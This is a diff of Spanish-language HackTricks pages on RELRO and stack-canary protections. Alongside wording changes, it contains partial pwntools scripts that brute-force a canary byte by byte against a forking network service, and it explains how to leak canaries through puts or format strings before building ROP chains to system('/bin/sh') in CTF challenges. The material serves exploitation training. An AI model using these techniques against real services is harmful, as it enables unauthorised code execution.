* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Relro
|
||||
|
||||
|
@ -26,9 +27,9 @@ Esto **no evita que la GOT** sea abusada **por vulnerabilidades de escritura arb
|
|||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** intensifica la protección al **hacer que la GOT y la sección .fini\_array** sean completamente **de solo lectura.** Una vez que el binario comienza, todas las direcciones de las funciones se resuelven y se cargan en la GOT, luego, la GOT se marca como de solo lectura, evitando efectivamente cualquier modificación durante la ejecución.
|
||||
**Full RELRO** intensifica la protección al **hacer que la GOT y la sección .fini\_array** sean completamente **de solo lectura**. Una vez que el binario comienza, todas las direcciones de las funciones se resuelven y se cargan en la GOT, luego, la GOT se marca como de solo lectura, evitando efectivamente cualquier modificación durante la ejecución.
|
||||
|
||||
Sin embargo, el compromiso con Full RELRO se encuentra en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar la GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Esta sobrecarga adicional en el inicio es la razón por la cual Full RELRO no está habilitado de forma predeterminada en todos los binarios.
|
||||
Sin embargo, el inconveniente de Full RELRO radica en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar la GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Esta sobrecarga adicional en el inicio es la razón por la cual Full RELRO no está habilitado de forma predeterminada en todos los binarios.
|
||||
|
||||
Es posible verificar si Full RELRO está **habilitado** en un binario con:
|
||||
```bash
|
||||
|
@ -36,6 +37,6 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
|||
```
|
||||
## Bypass
|
||||
|
||||
Si se habilita Full RELRO, la única forma de evitarlo es encontrar otra forma que no necesite escribir en la tabla GOT para lograr una ejecución arbitraria.
|
||||
Si se habilita Full RELRO, la única forma de evitarlo es encontrar otra manera que no necesite escribir en la tabla GOT para lograr una ejecución arbitraria.
|
||||
|
||||
Ten en cuenta que **la GOT de LIBC suele tener Partial RELRO**, por lo que se puede modificar con una escritura arbitraria. Más información en [Apuntando a las entradas de la GOT de libc](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Stack Canaries
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **StackGuard y StackShield**
|
||||
|
||||
**StackGuard** inserta un valor especial conocido como **canary** antes del **EIP (Extended Instruction Pointer)**, específicamente `0x000aff0d` (que representa nulo, nueva línea, EOF, retorno de carro) para protegerse contra desbordamientos de búfer. Sin embargo, funciones como `recv()`, `memcpy()`, `read()` y `bcopy()` siguen siendo vulnerables, y no protege el **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** adopta un enfoque más sofisticado que StackGuard al mantener una **Pila de Retorno Global**, que almacena todas las direcciones de retorno (**EIPs**). Esta configuración garantiza que cualquier desbordamiento no cause daño, ya que permite comparar las direcciones de retorno almacenadas con las reales para detectar ocurrencias de desbordamiento. Además, StackShield puede verificar la dirección de retorno frente a un valor límite para detectar si el **EIP** apunta fuera del espacio de datos esperado. Sin embargo, esta protección puede ser eludida mediante técnicas como Return-to-libc, ROP (Programación Orientada a la Retorno) o ret2ret, lo que indica que StackShield tampoco protege las variables locales.
|
||||
**StackShield** adopta un enfoque más sofisticado que StackGuard al mantener una **Pila de Retorno Global**, que almacena todas las direcciones de retorno (**EIPs**). Esta configuración garantiza que cualquier desbordamiento no cause daño, ya que permite comparar las direcciones de retorno almacenadas con las reales para detectar ocurrencias de desbordamiento. Además, StackShield puede verificar la dirección de retorno frente a un valor límite para detectar si el **EIP** apunta fuera del espacio de datos esperado. Sin embargo, esta protección puede ser eludida mediante técnicas como Return-to-libc, ROP (Programación Orientada a Retorno) o ret2ret, lo que indica que StackShield tampoco protege las variables locales.
|
||||
|
||||
## **Protector de Stack Smash (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de forma segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege matrices con menos de 8 elementos o búferes dentro de una estructura de usuario.
|
||||
Este mecanismo coloca un **canary** antes del **EBP** y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de forma segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arrays con menos de 8 elementos o los búferes dentro de una estructura de usuario.
|
||||
|
||||
El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Almacenamiento Local de Hilos)**, lo que permite que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden modificar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, volviéndolo vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86\_64**, en `fs:0x28`.
|
||||
El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, lo que permite que espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden modificar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, volviéndolo vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86\_64**, en `fs:0x28`.
|
||||
|
||||
Esta protección local identifica funciones con búferes vulnerables a ataques e inyecta código al inicio de estas funciones para colocar el canary, y al final para verificar su integridad.
|
||||
|
||||
Cuando un servidor web utiliza `fork()`, habilita un ataque de fuerza bruta para adivinar el byte del canary uno por uno. Sin embargo, al usar `execve()` después de `fork()`, se sobrescribe el espacio de memoria, anulando el ataque. `vfork()` permite que el proceso hijo se ejecute sin duplicación hasta que intenta escribir, momento en el que se crea una duplicación, ofreciendo un enfoque diferente para la creación de procesos y el manejo de memoria.
|
||||
Cuando un servidor web utiliza `fork()`, habilita un ataque de fuerza bruta para adivinar el byte del canary uno por uno. Sin embargo, usar `execve()` después de `fork()` sobrescribe el espacio de memoria, anulando el ataque. `vfork()` permite que el proceso hijo se ejecute sin duplicación hasta que intenta escribir, momento en el que se crea una duplicación, ofreciendo un enfoque diferente para la creación de procesos y el manejo de memoria.
|
||||
|
||||
### Longitudes
|
||||
|
||||
|
@ -37,14 +38,14 @@ En binarios `x64`, la cookie del canary es un qword de **`0x8`** bytes. Los **pr
|
|||
En binarios `x86`, la cookie del canary es un dword de **`0x4`** bytes. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, las **funciones que leen cadenas se detendrán antes de leerlo**.
|
||||
El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**.
|
||||
{% endhint %}
|
||||
|
||||
## Bypasses
|
||||
|
||||
**Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor.
|
||||
|
||||
* Si el **canary se bifurca en procesos secundarios** podría ser posible **forzarlo** byte a byte:
|
||||
* Si el **canary se bifurca en procesos hijos** podría ser posible **forzarlo** un byte a la vez:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
|
@ -68,7 +69,7 @@ La pila vulnerable a un desbordamiento de pila podría **contener direcciones a
|
|||
|
||||
Un desbordamiento de búfer en una función enhebrada protegida con canary puede usarse para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se realiza con dos canaries que son iguales (aunque modificados).
|
||||
|
||||
Además, un desbordamiento de búfer en una función enhebrada protegida con canary podría usarse para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **desbordamiento de búfer en la pila** de un hilo.\
|
||||
Además, un desbordamiento de búfer en una función enhebrada protegida con canary podría usarse para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\
|
||||
Como resultado, la mitigación es inútil porque la verificación se realiza con dos canaries que son iguales (aunque modificados).\
|
||||
Este ataque se realiza en el documento: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
|
@ -85,16 +86,17 @@ Este ataque se realiza en el documento: [https://7rocky.github.io/en/ctf/other/s
|
|||
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# BF Forked & Threaded Stack Canaries
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Si te enfrentas a un binario protegido por un canary y PIE (Ejecutable Independiente de la Posición), probablemente necesites encontrar una forma de evadirlos.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que **`checksec`** podría no detectar que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
|
||||
Ten en cuenta que **`checksec`** puede que no detecte que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
|
||||
Sin embargo, puedes darte cuenta manualmente si encuentras que se guarda un valor en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
|
||||
{% endhint %}
|
||||
|
||||
## Fuerza bruta en el Canary
|
||||
## Fuerza bruta del Canary
|
||||
|
||||
La mejor forma de evadir un canary simple es si el binario es un programa que **crea procesos hijos cada vez que se establece una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canary**.
|
||||
La mejor manera de evadir un canary simple es si el binario es un programa que **crea procesos hijos cada vez que se establece una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canary**.
|
||||
|
||||
Entonces, la mejor forma de evadir el canary es simplemente **hacer fuerza bruta carácter por carácter**, y puedes averiguar si el byte del canary adivinado fue correcto verificando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función **hace fuerza bruta en un canary de 8 Bytes (x64)** y distingue entre un byte adivinado correcto y un byte incorrecto simplemente **verificando** si se envía una **respuesta** por parte del servidor (otra forma en **otra situación** podría ser usando un **try/except**):
|
||||
Entonces, la mejor manera de evadir el canary es simplemente **fuerza bruta carácter por carácter**, y puedes averiguar si el byte del canary adivinado fue correcto comprobando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canary de 8 Bytes (x64)** y distingue entre un byte adivinado correcto y un byte incorrecto simplemente **comprobando** si se envía una **respuesta** por parte del servidor (otra forma en **otra situación** podría ser usando un **try/except**):
|
||||
|
||||
### Ejemplo 1
|
||||
|
||||
Este ejemplo está implementado para 64 bits pero podría ser fácilmente implementado para 32 bits.
|
||||
Este ejemplo está implementado para 64 bits pero podría implementarse fácilmente para 32 bits.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -73,7 +74,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|||
### Ejemplo 2
|
||||
|
||||
Esto está implementado para 32 bits, pero podría cambiarse fácilmente a 64 bits.\
|
||||
También tenga en cuenta que para este ejemplo, **el programa espera primero un byte para indicar el tamaño de la entrada** y la carga útil.
|
||||
También ten en cuenta que para este ejemplo, **el programa espera primero un byte para indicar el tamaño de la entrada** y luego el payload.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -116,7 +117,7 @@ log.info(f"The canary is: {canary}")
|
|||
```
|
||||
## Hilos
|
||||
|
||||
Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque. 
|
||||
Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto será posible **hacer fuerza bruta** a un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque. 
|
||||
|
||||
Además, un **desbordamiento de búfer en una función enhebrada** protegida con canario podría usarse para **modificar el canario maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y por lo tanto, el canario) a través de un **desbordamiento de búfer en la pila** de un hilo.\
|
||||
Como resultado, la mitigación es inútil porque la verificación se realiza con dos canarios que son iguales (aunque modificados).\
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
# Imprimir el Stack Canary
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**HackTricks Training GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ampliar el stack impreso
|
||||
|
||||
Imagina una situación donde un **programa vulnerable** a desbordamiento de pila puede ejecutar una función **puts** apuntando a una **parte** del **desbordamiento de pila**. El atacante sabe que el **primer byte del canary es un byte nulo** (`\x00`) y el resto del canary son bytes **aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescribe la pila hasta justo el primer byte del canary**.
|
||||
|
||||
Luego, el atacante **llama a la funcionalidad de puts** en el medio de la carga útil que **imprimirá todo el canary** (excepto el primer byte nulo).
|
||||
Luego, el atacante **llama a la funcionalidad puts** en el medio de la carga útil que **imprimirá todo el canary** (excepto el primer byte nulo).
|
||||
|
||||
Con esta información, el atacante puede **crear y enviar un nuevo ataque** conociendo el canary (en la misma sesión del programa).
|
||||
|
||||
Obviamente, esta táctica es muy **restringida** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **filtrar** el **canary** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **desbordamiento de búfer real**.
|
||||
Obviamente, esta táctica es muy **restrictiva** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **filtrar** el **canary** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **desbordamiento de búfer real**.
|
||||
|
||||
**Ejemplos de CTF:** 
|
||||
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y un gadget ROP para llamar a `system('/bin/sh')`
|
||||
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
* 32 bits, ARM, sin relro, canary, nx, sin pie. Desbordamiento con una llamada a puts para filtrar el canary + ret2lib llamando a `system` con una cadena ROP para hacer pop r0 (arg `/bin/sh`) y pc (dirección de system)
|
||||
- [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y un gadget ROP para llamar a `system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
- 32 bits, ARM, sin relro, canary, nx, sin pie. Desbordamiento con una llamada a puts para filtrar el canary + ret2lib llamando a `system` con una cadena ROP para hacer pop en r0 (arg `/bin/sh`) y pc (dirección de system)
|
||||
|
||||
## Lectura Arbitraria
|
||||
|
||||
Con una **lectura arbitraria** como la proporcionada por las **cadenas de formato**, podría ser posible filtrar el canary. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de las cadenas de formato para leer direcciones de memoria arbitrarias en:
|
||||
Con una **lectura arbitraria** como la proporcionada por las **cadenas de formato**, podría ser posible filtrar el canary. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* Este desafío abusa de una manera muy simple de una cadena de formato para leer el canary de la pila
|
||||
- [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
- Este desafío abusa de una manera muy simple de una cadena de formato para leer el canary de la pila
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**HackTricks Training GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
